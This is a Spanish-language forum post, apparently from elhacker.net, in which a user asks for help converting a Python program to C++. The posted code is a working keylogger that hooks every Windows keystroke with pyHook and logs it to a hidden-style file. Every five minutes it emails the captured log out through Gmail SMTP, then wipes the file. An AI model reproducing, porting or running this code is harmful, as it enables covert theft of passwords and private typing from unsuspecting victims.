Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - elhacker.net01

#1
Programación C/C++ / De Python a C++
28 Abril 2018, 19:42 PM
Buenos dias, necesito que me ayuden a convertir ese codigo de python a C++

aqui les dejo el codigo



import pyHook, pythoncom, sys, logging
import time, datetime
#crear la ruta en el disco C:
wait_seconds = 300
timeout = time.time() + wait_seconds
file_log = 'C:\\secret\\dat.txt'

def TimeOut():
  if time.time() > timeout:
    return True
  else:
    return False

def SendEmail(user, pwd, recipient, subject, body):
  import smtplib
 
  gmail_user= user
  gmail_pass = pwd
  FROM = user
  TO = recipient if type(recipient) is list else [recipient]
  SUBJECT = subject
  TEXT = body
 
  message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
  """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
  try:
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.ehlo()
    server.starttls()
    server.login(gmail_user, gmail_pass)
    server.sendmail(FROM, TO, message)
    server.close()
    print 'Correo enviado satisfactoriamente!'
  except:
    print 'Error al mandar correo!'

def FormatAndSendLogEmail():
  with open(file_log, 'r+') as f:
    actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    data = f.read().replace('\n', '')
    data = 'Log capturado a las: '+ actualdate + '\n' + data
    SendEmail('correo', 'clave', 'correo',
              'Nuevo log - '+actualdate, data)
    f.seek(0)
    f.truncate()
   
def OnKeyboardEvent(event):
  logging.basicConfig(filename=file_log, level=logging.DEBUG,
                      format = '%(message)s')
  logging.log(10, chr(event.Ascii))
  return True
 
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()

while True:
  if TimeOut():
    FormatAndSendLogEmail()
    timeout = time.time() + wait_seconds